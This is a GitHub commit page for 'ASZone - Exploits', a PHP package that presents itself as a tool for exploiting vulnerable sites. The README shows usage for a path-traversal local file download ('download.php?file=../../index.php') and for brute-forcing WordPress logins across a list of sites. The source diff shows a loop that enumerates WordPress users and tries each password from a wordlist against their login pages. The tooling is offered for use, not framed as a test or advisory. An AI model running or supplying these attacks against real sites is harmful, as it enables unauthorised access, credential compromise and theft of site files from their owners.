Skip to content

Commit 881ebeb

Browse files
committed
init project
1 parent f4cf32a commit 881ebeb

File tree

4 files changed

+440
-4
lines changed

4 files changed

+440
-4
lines changed

README.md

+43-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,43 @@
1-
# exploits
1+
# ASZone - Exploits
2+
3+
> ASZone - Exploits - Local File Download
4+
> ASZone - Exploits - Brute Force in WordPress
5+
6+
### Beta
7+
> Reading Static File is a open source package for exploting vulnerables sites
8+
9+
## Instalation
10+
11+
The recommended way to install PHP Avenger is through
12+
[Composer](http://getcomposer.org).
13+
14+
```bash
15+
# Install Composer
16+
curl -sS https://getcomposer.org/installer | php
17+
18+
19+
## Basic Usage Local File Download
20+
```bash
21+
$command=array();
22+
$crawler = new DownloadByLocalFileDownload($command);
23+
$url="http://www.xxxx.com/download.php?file=../../index.php";
24+
$crawler->getAllFiles($url);
25+
26+
```
27+
28+
## Basic Usage Brute Force in WordPress
29+
```bash
30+
$command=array();
31+
$btwp = new BruteForceWordPress($command);
32+
33+
$listSite[]='http://www.site1.org.br/wp-login.php';
34+
$listSite[]='http://site2.com.br/wp-login.php';
35+
$btwp->execute($listSite);
36+
37+
```
38+
39+
## Help and docs
40+
* [Documentation](http://phpavenger.aszone.com.br).
41+
* [Examples](http://phpavenger.aszone.com.br/examples).
42+
* [Videos](http://youtube.com/aszone).
43+
* [Steakoverflow](http://phpavenger.aszone.com.br).

composer.json

+2-1
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,8 @@
2323
"symfony/dom-crawler":"~2.8",
2424
"symfony/css-selector":"2.8",
2525
"aszone/fakeheaders": "~0.1",
26-
"aszone/hacking": "~0.2"
26+
"aszone/hacking": "~0.2",
27+
"lenonleite/hacking-analyze-static-files": "~0.2"
2728
},
2829
"autoload": {
2930
"psr-4": {

src/BruteForceWordPress.php

+4-2
Original file line numberDiff line numberDiff line change
@@ -50,9 +50,11 @@ private function defaultEnterData()
5050
public function execute($sites= array()){
5151

5252
$wordlists = $this->getWordListInArray();
53+
$wp = new WordPress();
5354
foreach($sites as $site){
54-
$wp = new WordPress();
55-
$users=$wp->getUsers();
55+
56+
$wp->setTarget($site);
57+
$users = $wp->getUsers();
5658
foreach ($users as $user){
5759
foreach ( $wordlists as $password) {
5860
$this->sendDataToLoginWordPress($user,$password,$site);

0 commit comments

Comments
 (0)